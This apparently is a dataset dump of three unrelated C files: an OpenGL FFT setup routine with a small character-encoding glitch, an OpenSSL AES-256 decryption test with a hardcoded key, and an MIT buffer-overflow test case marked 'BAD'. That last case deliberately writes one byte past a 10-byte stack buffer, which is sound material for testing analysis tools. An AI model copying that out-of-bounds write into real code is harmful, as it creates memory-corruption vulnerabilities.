struct TYPE_8__ {int /*<<< orphan*/ parameter_tex; int /*<<< orphan*/ target; } ;
typedef int /*<<< orphan*/ GLushort ;
typedef int /*<<< orphan*/ GLuint ;
typedef int /*<<< orphan*/ GLshort ;
typedef float GLfloat ;
/* Variables and functions */
int /*<<< orphan*/ GL_CHECK_ERROR () ;
int /*<<< orphan*/ GL_DYNAMIC_DRAW ;
int /*<<< orphan*/ GL_LINEAR_MIPMAP_LINEAR ;
int /*<<< orphan*/ GL_NEAREST ;
int /*<<< orphan*/ GL_PIXEL_UNPACK_BUFFER ;
int /*<<< orphan*/ GL_R16UI ;
int /*<<< orphan*/ GL_RED_INTEGER ;
int /*<<< orphan*/ GL_RG16I ;
int /*<<< orphan*/ GL_RG32UI ;
int /*<<< orphan*/ GL_RGBA8 ;
int /*<<< orphan*/ GL_RG_INTEGER ;
int /*<<< orphan*/ GL_TEXTURE_2D ;
int /*<<< orphan*/ GL_UNSIGNED_INT ;
int /*<<< orphan*/ GL_UNSIGNED_SHORT ;
int /*<<< orphan*/ KAISER_BETA ;
int /*<<< orphan*/ MAX (int,int) ;
scalar_t__ calloc (int,int) ;
int /*<<< orphan*/ fft_build_params (TYPE_2__*,int /*<<< orphan*/ *,unsigned int,int) ;
void* fft_compile_program (TYPE_2__*,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ fft_fragment_program_blur ;
int /*<<< orphan*/ fft_fragment_program_complex ;
int /*<<< orphan*/ fft_fragment_program_real ;
int /*<<< orphan*/ fft_fragment_program_resolve ;
int /*<<< orphan*/ fft_init_target (TYPE_2__*,int /*<<< orphan*/ *,int /*<<< orphan*/ ,int,int,int,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ fft_init_texture (TYPE_2__*,int /*<<< orphan*/ *,int /*<<< orphan*/ ,int,int,int,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ fft_vertex_program ;
int /*<<< orphan*/ free (int /*<<< orphan*/ *) ;
int /*<<< orphan*/ glBindBuffer (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ glBindTexture (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ glBufferData (int /*<<< orphan*/ ,int,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ;
int /*<<< orphan*/ glGenBuffers (int,int /*<<< orphan*/ *) ;
int /*<<< orphan*/ glGetUniformLocation (void*,char*) ;
int /*<<< orphan*/ glTexSubImage2D (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,unsigned int,int,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ;
int /*<<< orphan*/ glUniform1i (int /*<<< orphan*/ ,int) ;
int /*<<< orphan*/ glUniform4fv (int /*<<< orphan*/ ,int,float const*) ;
int /*<<< orphan*/ glUseProgram (void*) ;
double kaiser_window_function (double,int /*<<< orphan*/ ) ;
int log2i (int /*<<< orphan*/ ) ;
int /*<<< orphan*/ round (int) ;
__attribute__((used)) static void fft_init(fft_t *fft)
{
unsigned i;
double window_mod;
GLushort *window = NULL;
static const GLfloat unity[] = { 0.0f, 0.0f, 1.0f, 1.0f };
fft->prog_real = fft_compile_program(fft, fft_vertex_program, fft_fragment_program_real);
fft->prog_complex = fft_compile_program(fft, fft_vertex_program, fft_fragment_program_complex);
fft->prog_resolve = fft_compile_program(fft, fft_vertex_program, fft_fragment_program_resolve);
fft->prog_blur = fft_compile_program(fft, fft_vertex_program, fft_fragment_program_blur);
GL_CHECK_ERROR();
glUseProgram(fft->prog_real);
glUniform1i(glGetUniformLocation(fft->prog_real, "sTexture"), 0);
glUniform1i(glGetUniformLocation(fft->prog_real, "sParameterTexture"), 1);
glUniform1i(glGetUniformLocation(fft->prog_real, "sWindow"), 2);
glUniform4fv(glGetUniformLocation(fft->prog_real, "uOffsetScale"), 1, unity);
glUseProgram(fft->prog_complex);
glUniform1i(glGetUniformLocation(fft->prog_complex, "sTexture"), 0);
glUniform1i(glGetUniformLocation(fft->prog_complex, "sParameterTexture"), 1);
glUniform4fv(glGetUniformLocation(fft->prog_complex, "uOffsetScale"), 1, unity);
glUseProgram(fft->prog_resolve);
glUniform1i(glGetUniformLocation(fft->prog_resolve, "sFFT"), 0);
glUniform4fv(glGetUniformLocation(fft->prog_resolve, "uOffsetScale"), 1, unity);
glUseProgram(fft->prog_blur);
glUniform1i(glGetUniformLocation(fft->prog_blur, "sHeight"), 0);
glUniform4fv(glGetUniformLocation(fft->prog_blur, "uOffsetScale"), 1, unity);
GL_CHECK_ERROR();
fft_init_texture(fft, &fft->window_tex, GL_R16UI,
fft->size, 1, 1, GL_NEAREST, GL_NEAREST);
GL_CHECK_ERROR();
window = (GLushort*)calloc(fft->size, sizeof(GLushort));
window_mod = 1.0 / kaiser_window_function(0.0, KAISER_BETA);
for (i = 0; i < fft->size; i++)
{
double phase = (double)(i - (int)(fft->size) / 2) / ((int)(fft->size) / 2);
double w = kaiser_window_function(phase, KAISER_BETA);
window[i] = round(0xffff * w * window_mod);
}
glBindTexture(GL_TEXTURE_2D, fft->window_tex);
glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0,
fft->size, 1, GL_RED_INTEGER, GL_UNSIGNED_SHORT, &window[0]);
glBindTexture(GL_TEXTURE_2D, 0);
GL_CHECK_ERROR();
fft_init_texture(fft, &fft->input_tex, GL_RG16I,
fft->size, 1, 1, GL_NEAREST, GL_NEAREST);
fft_init_target(fft, &fft->output, GL_RG32UI,
fft->size, fft->depth, 1, GL_NEAREST, GL_NEAREST);
fft_init_target(fft, &fft->resolve, GL_RGBA8,
fft->size, fft->depth, 1, GL_NEAREST, GL_NEAREST);
fft_init_target(fft, &fft->blur, GL_RGBA8,
fft->size, fft->depth,
log2i(MAX(fft->size, fft->depth)) + 1,
GL_NEAREST, GL_LINEAR_MIPMAP_LINEAR);
GL_CHECK_ERROR();
for (i = 0; i < fft->steps; i++)
{
GLuint *param_buffer = NULL;
fft_init_target(fft, &fft->passes[i].target,
GL_RG32UI, fft->size, 1, 1, GL_NEAREST, GL_NEAREST);
fft_init_texture(fft, &fft->passes[i].parameter_tex,
GL_RG32UI, fft->size, 1, 1, GL_NEAREST, GL_NEAREST);
param_buffer = (GLuint*)calloc(2 * fft->size, sizeof(GLuint));
fft_build_params(fft, ¶m_buffer[0], i, fft->size);
glBindTexture(GL_TEXTURE_2D, fft->passes[i].parameter_tex);
glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0,
fft->size, 1, GL_RG_INTEGER, GL_UNSIGNED_INT, ¶m_buffer[0]);
glBindTexture(GL_TEXTURE_2D, 0);
free(param_buffer);
}
GL_CHECK_ERROR();
glGenBuffers(1, &fft->pbo);
glBindBuffer(GL_PIXEL_UNPACK_BUFFER, fft->pbo);
glBufferData(GL_PIXEL_UNPACK_BUFFER,
fft->size * 2 * sizeof(GLshort), 0, GL_DYNAMIC_DRAW);
glBindBuffer(GL_PIXEL_UNPACK_BUFFER, 0);
free(window);
}
|
the_stack_data/90762972.c
|
#include <openssl/aes.h>
#include <openssl/conf.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <stdio.h>
#include <string.h>
unsigned char userKey[] = {
0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01
};
unsigned char const ciphertext[] = {
0x53, 0x9b, 0x33, 0x3b, 0x39, 0x70, 0x6d, 0x14, 0x90, 0x28, 0xcf, 0xe1,
0xd9, 0xd4, 0xa4, 0x07
};
int main(int argc, char** argv) {
unsigned char plaintext[sizeof(ciphertext)];
memset(plaintext, 0, sizeof(plaintext));
AES_KEY key;
AES_set_decrypt_key(userKey, 256, &key);
AES_decrypt(ciphertext, plaintext, &key);
//AES_ecb_encrypt(ciphertext, plaintext, &key, AES_DECRYPT);
for(int i = 0; i < sizeof(plaintext); i++) {
putchar(plaintext[i]);
}
return 0;
}
|
the_stack_data/685325.c
|
/* Taxonomy Classification: 0000000020000000000100 */
/*
* WRITE/READ 0 write
* WHICH BOUND 0 upper
* DATA TYPE 0 char
* MEMORY LOCATION 0 stack
* SCOPE 0 same
* CONTAINER 0 no
* POINTER 0 no
* INDEX COMPLEXITY 0 constant
* ADDRESS COMPLEXITY 2 linear expr
* LENGTH COMPLEXITY 0 N/A
* ADDRESS ALIAS 0 none
* INDEX ALIAS 0 none
* LOCAL CONTROL FLOW 0 none
* SECONDARY CONTROL FLOW 0 none
* LOOP STRUCTURE 0 no
* LOOP COMPLEXITY 0 N/A
* ASYNCHRONY 0 no
* TAINT 0 no
* RUNTIME ENV. DEPENDENCE 0 no
* MAGNITUDE 1 1 byte
* CONTINUOUS/DISCRETE 0 discrete
* SIGNEDNESS 0 no
*/
/*
Copyright 2005 Massachusetts Institute of Technology
All rights reserved.
Redistribution and use of software in source and binary forms, with or without
modification, are permitted provided that the following conditions are met.
- Redistributions of source code must retain the above copyright notice,
this set of conditions and the disclaimer below.
- Redistributions in binary form must reproduce the copyright notice, this
set of conditions, and the disclaimer below in the documentation and/or
other materials provided with the distribution.
- Neither the name of the Massachusetts Institute of Technology nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
int main(int argc, char *argv[])
{
int i;
char buf[10];
i = 2;
/* BAD */
(buf + (4 * i))[2] = 'A';
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.